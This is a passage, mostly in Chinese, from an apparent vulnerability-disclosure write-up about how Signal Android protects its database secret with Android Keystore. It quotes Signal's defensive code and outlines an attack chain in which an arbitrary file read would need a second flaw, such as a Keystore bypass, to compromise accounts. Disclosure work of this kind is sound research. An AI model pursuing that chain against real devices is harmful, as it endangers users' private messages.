String unencryptedSecret = TextSecurePreferences.getDatabaseUnencryptedSecret(context);
String encryptedSecret = TextSecurePreferences.getDatabaseEncryptedSecret(context);
if (unencryptedSecret != null)
return getUnencryptedDatabaseSecret(context, unencryptedSecret);
else if (encryptedSecret != null)
return getEncryptedDatabaseSecret(encryptedSecret);
else
return createAndStoreDatabaseSecret(context);
}
第二层使用 Android Keystore 完成:
private static @NonNull DatabaseSecret createAndStoreDatabaseSecret(@NonNull Context context) {
SecureRandom random = new SecureRandom();
byte[] secret = new byte[32];
random.nextBytes(secret);
DatabaseSecret databaseSecret = new DatabaseSecret(secret);
if (Build.VERSION.SDK_INT >= 23) {
// Use hardware-backed encryption when available
KeyStoreHelper.SealedData encryptedSecret = KeyStoreHelper.seal(databaseSecret.asBytes());
TextSecurePreferences.setDatabaseEncryptedSecret(context, encryptedSecret.serialize());
} else {
// Fallback for older devices (less secure)
TextSecurePreferences.setDatabaseUnencryptedSecret(context, databaseSecret.asString());
}
return databaseSecret;
}
这些保护措施阻止了将任意文件读取直接转化为完全攻陷 Signal 账户。这还需要第二个漏洞,例如一个带有加密弱点的加密预言机(encryption oracle),或者 Keystore 绕过。
Signal 的回应
Signal 对这些发现的回应——在 3 小时内确认并在数天内部署修复——彰显了他们对用户安全的承诺。虽然仍有改进空间,但他们的纵深防御方法确保了即便存在这些漏洞,用户消息依然受到强有力的保护。
关键要点:安全是分层的,尽管每一层都可能存在弱点,但多层组合在一起提供了稳健的保护。Signal 的架构正是这一原则的典范,即便我们的发现表明总有改进的余地。
Google 的回应
Google 报告称这两个问题均属于按预期工作,以下是他们的答复:
参考资料
标签:
security